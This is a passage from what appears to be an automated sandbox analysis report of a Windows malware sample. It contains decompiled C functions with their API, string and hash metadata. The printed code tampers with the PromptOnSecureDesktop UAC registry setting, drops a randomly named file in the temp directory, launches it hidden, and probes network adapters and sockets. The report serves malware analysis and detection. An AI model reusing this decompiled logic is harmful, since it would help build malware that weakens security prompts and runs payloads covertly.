						_t44 =  &(_t137[1]); // 0x1
						_t173 = _t44;
						do {
							_t181 =  *_t137;
							_t137 =  &(_t137[1]);
							__eflags = _t181;
						} while (_t181 != 0);
						_t139 = _t137 - _t173 + 1;
						__eflags = _t139;
						RegSetValueExA(_v12,  *0x412c38, 0, 1, _t188, _t139);
						RegCloseKey(_v12);
						goto L35;
					}
					_t144 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, 0,  &_v16);
					__eflags = _t144;
					if(_t144 == 0) {
						__eflags = _v28 - 1;
						if(_v28 == 1) {
							__eflags = _v16;
							if(_v16 > 0) {
								_t147 = E0040EBCC(_v16);
								_pop(_t173);
								_v8 = _t147;
								__eflags = _t147;
								if(_t147 != 0) {
									_t173 =  &_v16;
									_t149 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, _t147,  &_v16);
									__eflags = _t149;
									if(_t149 != 0) {
										E0040EC2E(_v8);
										_pop(_t173);
										_v8 = 0;
									}
								}
							}
						}
					}
					RegCloseKey(_v12);
					__eflags = _v8;
					if(_v8 != 0) {
						_t146 = E0040EED1(_v8,  *0x412c3c);
						_pop(_t173);
						__eflags = _t146;
						if(_t146 == 0) {
							goto L35;
						}
					}
					goto L31;
				} else {
					_t153 = E004073FF(_t173, 0x410264, 0, 0,  &_v388,  &_v60);
					_t199 = _t196 + 0x14;
					__eflags = _t153;
					if(_t153 <= 0) {
						L19:
						_t91 = 0;
						L56:
						return _t91;
					}
					__eflags = _v388;
					if(_v388 == 0) {
						goto L19;
					}
					__eflags = _v60;
					if(_v60 == 0) {
						goto L19;
					} else {
						_t154 =  &_v388;
						_t181 = _t154 + 1;
						do {
							_t180 =  *_t154;
							_t154 = _t154 + 1;
							__eflags = _t180;
						} while (_t180 != 0);
						_t156 = _t195 + _t154 - _t181 - 0x181;
						__eflags =  *_t156 - 0x5c;
						if( *_t156 == 0x5c) {
							 *_t156 = 0;
						}
						__eflags =  *0x412159 - 0x60;
						if( *0x412159 < 0x60) {
							L18:
							E0040EE2A(_t180, 0x4122f8, 0, 0x100);
							_t196 = _t199 + 0xc;
							L37:
							_v20 = 0;
							_v8 = 0;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								L42:
								__eflags =  *0x412cd8; // 0x0
								if(__eflags != 0) {
									L46:
									_t89 = E00406BA7(0x412cd8);
									_pop(_t174);
									__eflags = _t89;
									if(_t89 == 0) {
										L52:
										 *0x412cd8 = 0;
										L53:
										__eflags = _v8;
										if(_v8 != 0) {
											E0040EC2E(_v8);
										}
										_t91 = 1;
										__eflags = 1;
										goto L56;
									}
									_t93 = E00407E2F(_t181);
									__eflags = _t93;
									if(_t93 != 0) {
										L51:
										DeleteFileA(0x412cd8);
										goto L52;
									}
									_t193 = 0x44;
									E0040EE2A(_t174,  &_v128, 0, _t193);
									_v128.cb = _t193;
									E0040EE2A(_t174,  &_v44, 0, 0x10);
									_v428 = 0x22;
									lstrcpyA( &_v427, 0x412cd8);
									_t102 = lstrlenA( &_v428);
									 *((char*)(_t195 + _t102 - 0x1a8)) = 0x22;
									 *((char*)(_t195 + _t102 - 0x1a7)) = 0;
									E00407FCF(_t174);
									_t107 = CreateProcessA(0,  &_v428, 0, 0, 0, 0x8000000, 0, 0,  &_v128,  &_v44);
									__eflags = _t107;
									if(_t107 == 0) {
										E00407EE6(_t174);
										E00407EAD(_t181, __eflags, 0);
										goto L51;
									}
									CloseHandle(_v44.hThread);
									CloseHandle(_v44);
									goto L53;
								}
								GetTempPathA(0x12c, 0x412cd8);
								_t113 = E00408274(0x412cd8);
								_pop(_t177);
								_v24 = _t113;
								_t116 = (E0040ECA5() & 0x00000003) + 5;
								_v20 = _t116;
								__eflags = _t116;
								if(_t116 <= 0) {
									L45:
									_t117 = E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8);
									_t69 = _v24 + 0x412cd8; // 0x0
									E0040EF00(_t69, _t117);
									E0040EE2A(_t177, 0x4122f8, 0, 0x100);
									_t196 = _t196 + 0x28;
									goto L46;
								} else {
									goto L44;
								}
								do {
									L44:
									_t122 = E0040ECA5();
									_t177 = 0x1a;
									_t181 = _t122 % _t177 + 0x61;
									_v24 = _v24 + 1;
									_v20 = _v20 - 1;
									 *((char*)(_v24 + 0x412cd8)) = _t122 % _t177 + 0x61;
									__eflags = _v20;
								} while (_v20 > 0);
								goto L45;
							}
							_t126 = E0040675C(0x4121a8,  &_v20, 0);
							_t196 = _t196 + 0xc;
							_v8 = _t126;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								goto L42;
							}
							__eflags = _t126;
							if(_t126 == 0) {
								goto L42;
							}
							__eflags = _v20 -  *0x4121a4; // 0x0
							if(__eflags != 0) {
								goto L42;
							}
							_t128 = E004024C2(_v8, _t127, 0);
							_t196 = _t196 + 0xc;
							__eflags =  *0x4122d4 - _t128; // 0x0
							if(__eflags == 0) {
								goto L53;
							}
							goto L42;
						}
						_t189 = 4;
						_v8 = 0;
						_v16 = _t189;
						_t159 = E00402544(0x4122f8,  &E00410710, 0x35, 0xe4, 0xc8);
						_t199 = _t199 + 0x14;
						_t160 = RegOpenKeyExA(0x80000002, _t159, 0, 0x103,  &_v12);
						__eflags = _t160;
						if(_t160 != 0) {
							goto L18;
						}
						_t165 = RegQueryValueExA(_v12,  &_v388, 0,  &_v28,  &_v8,  &_v16);
						__eflags = _t165;
						if(_t165 != 0) {
							L16:
							_v8 = 0;
							RegSetValueExA(_v12,  &_v388, 0, _t189,  &_v8, _t189);
							L17:
							RegCloseKey(_v12);
							goto L18;
						}
						__eflags = _v28 - _t189;
						if(_v28 != _t189) {
							goto L16;
						}
						__eflags = _v16 - _t189;
						if(_v16 != _t189) {
							goto L16;
						}
						__eflags = _v8;
						if(_v8 == 0) {
							goto L17;
						}
						goto L16;
					}
				}
			}

0x00408328
0x00408328
0x00408334
0x0040833e
0x00000000
0x00408342
0x0040834a
0x00408354
0x00408356
0x0040846b
0x0040846e
0x00408474
0x00000000
0x00000000
0x0040847a
0x00408480
0x00000000
0x00000000
0x004084a2
0x004084ad
0x004084b6
0x004084b8
0x004084ba
0x00408543
0x0040855f
0x00408564
0x0040856d
0x0040856f
0x00408571
0x004085a5
0x004085ac
0x004085b1
0x004085b4
0x004085b7
0x004085bc
0x004085c1
0x00000000
0x004085b7
0x00408573
0x00408579
0x0040857b
0x0040857b
0x0040857e
0x0040857e
0x00408580
0x00408581
0x00408581
0x00408587
0x00408587
0x00408596
0x0040859f
0x00000000
0x0040859f
0x004084d3
0x004084d9
0x004084db
0x004084dd
0x004084e1
0x004084e3
0x004084e6
0x004084eb
0x004084f0
0x004084f1
0x004084f4
0x004084f6
0x004084f8
0x0040850b
0x00408511
0x00408513
0x00408518
0x0040851d
0x0040851e
0x0040851e
0x00408513
0x004084f6
0x004084e6
0x004084e1
0x00408524
0x0040852a
0x0040852d
0x00408538
0x0040853e
0x0040853f
0x00408541
0x00000000
0x00000000
0x00408541
0x00000000
0x0040835c
0x0040836e
0x00408373
0x00408376
0x00408378
0x00408464
0x00408464
0x00408779
0x00000000
0x0040877a
0x0040837e
0x00408384
0x00000000
0x00000000
0x0040838a
0x0040838d
0x00000000
0x00408393
0x00408393
0x00408399
0x0040839c
0x0040839c
0x0040839e
0x0040839f
0x0040839f
0x004083a5
0x004083ac
0x004083af
0x004083b1
0x004083b1
0x004083b3
0x004083ba
0x00408450
0x00408457
0x0040845c
0x004085c2
0x004085c2
0x004085c5
0x004085c8
0x004085ce
0x00408615
0x0040861a
0x00408620
0x004086a7
0x004086a8
0x004086ad
0x004086ae
0x004086b0
0x00408762
0x00408762
0x00408768
0x00408768
0x0040876b
0x00408770
0x00408775
0x00408778
0x00408778
0x00000000
0x00408778
0x004086b6
0x004086bb
0x004086bd
0x0040875b
0x0040875c
0x00000000
0x0040875c
0x004086c5
0x004086cc
0x004086d8
0x004086db
0x004086eb
0x004086f2
0x004086ff
0x00408705
0x0040870d
0x00408714
0x00408733
0x00408739
0x0040873b
0x0040874f
0x00408755
0x00000000
0x0040875a
0x00408746
0x0040874b
0x00000000
0x0040874b
0x0040862c
0x00408633
0x00408638
0x00408639
0x00408644
0x00408647
0x0040864a
0x0040864c
0x00408671
0x00408683
0x0040868c
0x00408693
0x0040869f
0x004086a4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040864e
0x0040864e
0x0040864e
0x00408657
0x0040865d
0x00408660
0x00408663
0x00408666
0x0040866c
0x0040866c
0x00000000
0x0040864e
0x004085da
0x004085df
0x004085e2
0x004085e5
0x004085eb
0x00000000
0x00000000
0x004085ed
0x004085ef
0x00000000
0x00000000
0x004085f4
0x004085fa
0x00000000
0x00000000
0x00408601
0x00408606
0x00408609
0x0040860f
0x00000000
0x00000000
0x00000000
0x0040860f
0x004083c2
0x004083df
0x004083e2
0x004083e5
0x004083ea
0x004083f3
0x004083f9
0x004083fb
0x00000000
0x00000000
0x00408414
0x0040841a
0x0040841c
0x0040842d
0x0040843e
0x00408441
0x00408447
0x0040844a
0x00000000
0x0040844a
0x0040841e
0x00408421
0x00000000
0x00000000
0x00408423
0x00408426
0x00000000
0x00000000
0x00408428
0x0040842b
0x00000000
0x00000000
0x00000000
0x0040842b
0x0040838d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 004083F3
RegQueryValueExA.ADVAPI32(00410750,?,00000000,?,00408893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408414
RegSetValueExA.ADVAPI32(00410750,?,00000000,00000004,00408893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408441
RegCloseKey.ADVAPI32(00410750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 0040844A

Strings

localcfg, xrefs: 00408348
PromptOnSecureDesktop, xrefs: 0040834F, 004083DE, 00408456, 004084A1, 0040855E, 004085AB, 00408682, 0040869E

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: PromptOnSecureDesktop$localcfg
API String ID: 237177642-1678164370
Opcode ID: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction ID: 84ba07e5042139a9063b988de9b3f7486f2cd5d6c0453319c527b22e45c4d953
Opcode Fuzzy Hash: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction Fuzzy Hash: DAC1D2B1D00109BEEB11ABA0DE85EEF7BBCEB04304F14447FF544B2191EA794E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00402A62, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 194
networkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00402A62(void* __ecx, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v44;
				signed short _v272;
				char _v276;
				long _v280;
				char _v284;
				signed short _v288;
				signed short _v292;
				long _v300;
				long _v304;
				intOrPtr _v308;
				signed short _v324;
				intOrPtr _v332;
				signed short _v336;
				signed int _v340;
				signed int _v344;
				void* _v348;
				signed short _v352;
				signed short _v356;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				signed short _t66;
				void** _t71;
				void* _t76;
				void* _t77;
				void* _t78;
				signed short _t79;
				intOrPtr* _t81;
				signed short _t82;
				signed short _t83;
				intOrPtr _t86;
				signed int _t88;
				void* _t90;
				long _t91;
				signed short _t92;
				void* _t94;

				_t77 = __ecx;
				_t91 = 0;
				 *_a12 = 1;
				_t50 = HeapAlloc(GetProcessHeap(), 0, 0x1000);
				_t76 = _t50;
				if(_t76 != 0) {
					__imp__#23(2, 2, 0x11, _t78);
					_t79 = _t50;
					_v288 = _t79;
					if(_t79 == 0 || _t79 == 0xffffffff) {
						HeapFree(GetProcessHeap(), _t91, _t76);
						_t53 = 0;
						goto L37;
					} else {
						_v304 = 0;
						while(1) {
							_v300 = _t91;
							if(_v304 != _t91) {
								_push(_t91);
							} else {
								_push(0x100);
							}
							__imp__#9();
							_t50 = E004026FF(_v8, _t79, _v12, _t50 & 0x0000ffff);
							_t94 = _t94 + 0xc;
							if(_t50 != 0) {
								goto L32;
							}
							_t86 = 0xc;
							_t50 =  &_v276;
							_v272 = _t79;
							_v276 = 1;
							_v284 = _t86;
							_v280 = _t91;
							__imp__#18(_t91, _t50, _t91, _t91,  &_v284);
							if(_t50 <= 0) {
								goto L32;
							}
							_t50 = E0040EE2A(_t77, _t76, _t91, 4);
							_t94 = _t94 + 0xc;
							__imp__#16(_t79, _t76, 0x1000, _t91);
							_t92 = _t50;
							_v324 = _t92;
							if(_t92 > 0 && _t92 > _t86) {
								_t81 = __imp__#15;
								_t88 =  *_t81( *(_t76 + 2) & 0x0000ffff) & 0xf;
								if(_t88 == 3) {
									L34:
									 *_v44 = 2;
									L35:
									HeapFree(GetProcessHeap(), 0, _t76);
									__imp__#3(_v292);
									_t53 = _v308;
									L37:
									return _t53;
								}
								if(_t88 != 2) {
									L16:
									if(_t88 != 0) {
										goto L32;
									}
									_t50 = E00402923(_t77, _t76, _t92);
									_pop(_t77);
									_v336 = _t50;
									if(_t50 == 0) {
										goto L32;
									}
									_v340 = _v340 & 0x00000000;
									_v344 = _v344 & 0x00000000;
									_t82 = _t50;
									_v352 = _t82;
									L20:
									while(1) {
										if( *((short*)(_t82 + 0x10a)) != 1 ||  *((short*)(_t82 + 0x108)) != 0xf ||  *((short*)(_t82 + 0x10c)) < 3) {
											L30:
											_t83 =  *_t82;
											_v352 = _t83;
											if(_t83 != 0) {
												_t82 = _v352;
												continue;
											}
											goto L31;
										} else {
											_t90 = HeapAlloc(GetProcessHeap(), 0, 0x108);
											if(_t90 == 0) {
												L31:
												_t50 = E00402904(_v336);
												if(_v344 != 0) {
													goto L35;
												}
												goto L32;
											}
											E0040EE2A(_t77, _t90, 0, 0x108);
											_t66 =  *( *((intOrPtr*)(_t82 + 0x110)) + _t76) & 0x0000ffff;
											_t94 = _t94 + 0xc;
											__imp__#15();
											 *(_t90 + 4) = _t66 & 0x0000ffff;
											_t33 = _t90 + 8; // 0x8
											E00402871( *((intOrPtr*)(_t82 + 0x110)) + 2, _t76, _t77, _t33, _v332);
											_t77 = _t66;
											if( *((char*)(_t90 + 8)) != 0) {
												_t71 = _v344;
												_v344 = _t90;
												if(_t71 != 0) {
													 *_t71 = _t90;
												} else {
													_v348 = _t90;
												}
											} else {
												HeapFree(GetProcessHeap(), 0, _t90);
											}
											_t82 = _v356;
											goto L30;
										}
									}
								}
								_push( *(_t76 + 2) & 0x0000ffff);
								if( *_t81() < 0) {
									goto L34;
								}
								goto L16;
							}
							L32:
							_v308 = _v308 + 1;
							if(_v308 < 2) {
								_t79 = _v292;
								_t91 = 0;
								continue;
							}
							goto L35;
						}
					}
				}
				return 0;
			}

0x00402a62
0x00402a7a
0x00402a7d
0x00402a86
0x00402a8c
0x00402a90
0x00402aa0
0x00402aa6
0x00402aa8
0x00402aae
0x00402cd8
0x00402cde
0x00000000
0x00402abd
0x00402abd
0x00402ac9
0x00402ac9
0x00402ad1
0x00402ada
0x00402ad3
0x00402ad3
0x00402ad3
0x00402adb
0x00402af4
0x00402af9
0x00402afe
0x00000000
0x00000000
0x00402b06
0x00402b0e
0x00402b14
0x00402b18
0x00402b20
0x00402b24
0x00402b28
0x00402b30
0x00000000
0x00000000
0x00402b3a
0x00402b3f
0x00402b4a
0x00402b50
0x00402b52
0x00402b58
0x00402b6a
0x00402b76
0x00402b7c
0x00402ca6
0x00402cad
0x00402cb3
0x00402cbd
0x00402cc7
0x00402ccd
0x00402ce0
0x00000000
0x00402ce0
0x00402b85
0x00402b96
0x00402b98
0x00000000
0x00000000
0x00402ba1
0x00402ba6
0x00402ba7
0x00402bad
0x00000000
0x00000000
0x00402bb3
0x00402bb8
0x00402bbd
0x00402bbf
0x00000000
0x00402bc9
0x00402bd1
0x00402c77
0x00402c77
0x00402c79
0x00402c7f
0x00402bc5
0x00000000
0x00402bc5
0x00000000
0x00402bf3
0x00402c08
0x00402c0c
0x00402c85
0x00402c89
0x00402c93
0x00000000
0x00000000
0x00000000
0x00402c93
0x00402c12
0x00402c1d
0x00402c21
0x00402c25
0x00402c32
0x00402c3e
0x00402c41
0x00402c4a
0x00402c4b
0x00402c5f
0x00402c63
0x00402c69
0x00402c71
0x00402c6b
0x00402c6b
0x00402c6b
0x00402c4d
0x00402c57
0x00402c57
0x00402c73
0x00000000
0x00402c73
0x00402bd1
0x00402bc9
0x00402b8b
0x00402b90
0x00000000
0x00000000
0x00000000
0x00402b90
0x00402c95
0x00402c95
0x00402c9e
0x00402ac3
0x00402ac7
0x00000000
0x00402ac7
0x00000000
0x00402ca4
0x00402ac9
0x00402aae
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,75144F20), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,75144F20), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Strings

p*t, xrefs: 00402CC7

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID: p*t
API String ID: 1639031587-2700130030
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040199C, Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 106
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040199C(void* __eax) {
				long _v8;
				_Unknown_base(*)()* _v12;
				struct HINSTANCE__* _v16;
				char _v20;
				void* _v24;
				long _v28;
				_Unknown_base(*)()* _t30;
				intOrPtr _t32;
				void* _t34;
				void* _t41;
				struct HINSTANCE__* _t48;
				_Unknown_base(*)()* _t49;
				void* _t50;

				_v20 = 0;
				_v28 = 0;
				__imp__#11("123.45.67.89");
				_v24 = __eax;
				_t48 = LoadLibraryA("Iphlpapi.dll");
				_v16 = _t48;
				if(_t48 != 0) {
					_v12 = GetProcAddress(_t48, "GetAdaptersInfo");
					_t49 = GetProcAddress(_t48, "GetIfEntry");
					_t30 = GetProcAddress(_v16, "GetBestInterface");
					if(_v12 == 0 || _t49 == 0 || _t30 == 0) {
						FreeLibrary(_v16);
						goto L21;
					} else {
						 *_t30(_v24,  &_v20);
						_t34 = GetProcessHeap();
						_v24 = _t34;
						if(_t34 == 0) {
							L21:
							_t32 = 0;
							L22:
							return _t32;
						}
						_t50 = HeapAlloc(_t34, 0, 0x288);
						if(_t50 == 0) {
							goto L21;
						}
						_push( &_v8);
						_push(_t50);
						_v8 = 0x288;
						if(_v12() == 0x6f) {
							_t50 = HeapReAlloc(_v24, 0, _t50, _v8);
						}
						if(_t50 == 0) {
							L18:
							FreeLibrary(_v16);
							if(_v28 == 0) {
								goto L21;
							}
							_t32 = 1;
							goto L22;
						} else {
							_push( &_v8);
							_push(_t50);
							if(_v12() != 0) {
								goto L18;
							}
							_t41 = _t50;
							while( *((intOrPtr*)(_t41 + 0x19c)) != _v20) {
								_t41 =  *_t41;
								if(_t41 != 0) {
									continue;
								}
								L17:
								HeapFree(_v24, 0, _t50);
								goto L18;
							}
							if( *((intOrPtr*)(_t41 + 0x1a0)) != 6) {
								_v28 = 1;
							}
							goto L17;
						}
					}
				}
				return 0;
			}

0x004019ab
0x004019ae
0x004019b1
0x004019bc
0x004019c5
0x004019c7
0x004019cc
0x004019ea
0x004019f7
0x004019f9
0x004019fe
0x00401ab6
0x00000000
0x00401a14
0x00401a1b
0x00401a1d
0x00401a23
0x00401a28
0x00401abc
0x00401abc
0x00401abe
0x00000000
0x00401abe
0x00401a3c
0x00401a40
0x00000000
0x00000000
0x00401a45
0x00401a46
0x00401a47
0x00401a50
0x00401a60
0x00401a60
0x00401a67
0x00401aa1
0x00401aa4
0x00401aad
0x00000000
0x00000000
0x00401aaf
0x00000000
0x00401a69
0x00401a6c
0x00401a6d
0x00401a73
0x00000000
0x00000000
0x00401a75
0x00401a77
0x00401a82
0x00401a86
0x00000000
0x00000000
0x00401a96
0x00401a9b
0x00000000
0x00401a9b
0x00401a91
0x00401a93
0x00401a93
0x00000000
0x00401a91
0x00401a67
0x004019fe
0x00000000

APIs

inet_addr.WS2_32(123.45.67.89), ref: 004019B1
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,?,?,?,00000001,00401E9E), ref: 004019BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 004019E2
GetProcAddress.KERNEL32(00000000,GetIfEntry), ref: 004019ED
GetProcAddress.KERNEL32(?,GetBestInterface), ref: 004019F9
GetProcessHeap.KERNEL32(?,?,?,?,00000001,00401E9E), ref: 00401A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,00401E9E), ref: 00401A36
HeapReAlloc.KERNEL32(?,00000000,00000000,00401E9E,?,?,?,?,00000001,00401E9E), ref: 00401A5A
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,00401E9E), ref: 00401A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,00401E9E), ref: 00401AA4

Strings

~+t`y+tp*t, xrefs: 004019B1
localcfg, xrefs: 004019A3
GetBestInterface, xrefs: 004019EF
123.45.67.89, xrefs: 004019A6
Iphlpapi.dll, xrefs: 004019B7
GetIfEntry, xrefs: 004019E4
GetAdaptersInfo, xrefs: 004019DC

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Heap$AddressProc$AllocFreeLibrary$LoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg$~+t`y+tp*t
API String ID: 835516345-2032924975
Opcode ID: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction ID: c689a3d9ae3379b0bfe51822f68a21815d588b76a9689f39126eb657c90dfffc
Opcode Fuzzy Hash: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction Fuzzy Hash: 39313E32A01219AFCF119FE4DD888AFBBB9EB45311B24457BE501B2260D7B94E819F58

Uniqueness

Uniqueness Score: -1.00%

Function 004352E9, Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435378
_get_int64_arg.LIBCMTD ref: 004353A0
__aullrem.LIBCMT ref: 00435545
__aulldiv.LIBCMT ref: 00435567
_write_multi_char.LIBCMTD ref: 0043566E
_write_string.LIBCMTD ref: 00435689
_write_multi_char.LIBCMTD ref: 004356B5
_wctomb_s.LIBCMTD ref: 00435732

Strings

9, xrefs: 00435578
-, xrefs: 0043560E

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: b6ca75fc0ae0c6be50f54a7f75f2944c91daf8e968084e80d207c36ecfed3051
Instruction ID: add4d32a5ce223274ffe7ad3ed14559c9c7be8e97c7b56616305d5f8b936ec54
Opcode Fuzzy Hash: b6ca75fc0ae0c6be50f54a7f75f2944c91daf8e968084e80d207c36ecfed3051
Instruction Fuzzy Hash: 81F127B1D016299FDB24DF58CC89BEEB7B5BB48304F2491DAD409A7281D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C58B, Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C620
_get_int64_arg.LIBCMTD ref: 0043C648
__aullrem.LIBCMT ref: 0043C7F0
__aulldiv.LIBCMT ref: 0043C812
_write_multi_char.LIBCMTD ref: 0043C92B
_write_string.LIBCMTD ref: 0043C946
_write_multi_char.LIBCMTD ref: 0043C972
__mbtowc_l.LIBCMTD ref: 0043C9E1

Strings

9, xrefs: 0043C823

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: bc28c312a0b575ca56bb15be6f5fb7a73f6cdc74f51c8d5a485480dba4e8ca5b
Instruction ID: 88eeab3500e93a32726bfff167fe19d165fc86dd0a5c1c89454502985c76dd58
Opcode Fuzzy Hash: bc28c312a0b575ca56bb15be6f5fb7a73f6cdc74f51c8d5a485480dba4e8ca5b
Instruction Fuzzy Hash: 29F138B1D002299FDB24CF58CC81BAEB7B5BF89314F14519AE609B7241D7389E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006C8578, Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 361registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,?), ref: 006C8643
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,00000000,00000103,?), ref: 006C8664
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,?,00000000,00000103,?), ref: 006C8691
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 006C869A

Strings

PromptOnSecureDesktop, xrefs: 006C859F, 006C862E, 006C86A6, 006C86F1, 006C87AE, 006C87FB, 006C88D2, 006C88EE
", xrefs: 006C8955

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: "$PromptOnSecureDesktop
API String ID: 237177642-3108538426
Opcode ID: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction ID: 99bf79225c8913b194ff5687cf75cf37bc652c1fc4b04ac2ff1e22daae48b84e
Opcode Fuzzy Hash: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction Fuzzy Hash: B9C17E71900249BEEB21ABA4DD85FFE7B7EEB05300F14406EF604E3151EBB14E949B69

Uniqueness

Uniqueness Score: -1.00%

Function 004299A6, Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

_wcscpy_s.LIBCMTD ref: 004299CD

Part of subcall function 0041DD40: __invalid_parameter.LIBCMTD ref: 0041DDB2

__invoke_watson_if_error.LIBCMTD ref: 004299D6
_strlen.LIBCMT ref: 004299EB
_strlen.LIBCMT ref: 004299FC
_memcpy_s.LIBCMTD ref: 00429A44
__invoke_watson_if_error.LIBCMTD ref: 00429A4D

Part of subcall function 0041E1C0: __invoke_watson.LIBCMTD ref: 0041E1E1

_strlen.LIBCMT ref: 00429A5F
_strlen.LIBCMT ref: 00429A70

Strings

Ph(S@, xrefs: 00429C54
,O@, xrefs: 00429B05

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: _strlen$__invoke_watson_if_error$__invalid_parameter__invoke_watson_memcpy_s_wcscpy_s
String ID: ,O@$Ph(S@
API String ID: 3749650904-3184709497
Opcode ID: 9f14b74add357cafb067d1dc3e030580e9b73f5c8aa02fb0f1b58c32a319c380
Instruction ID: 318ea8cf3cf299814cc7c34425a4196ea659343d15d12fe2c79bd36027b3fa74
Opcode Fuzzy Hash: 9f14b74add357cafb067d1dc3e030580e9b73f5c8aa02fb0f1b58c32a319c380
Instruction Fuzzy Hash: 3B919974F00328ABDB24DF55EC45BDE7775AB48704F5080ABF60966281D7785E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006C2CB2, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 194memorynetworkCOMMON

Download Yara Rule

APIs

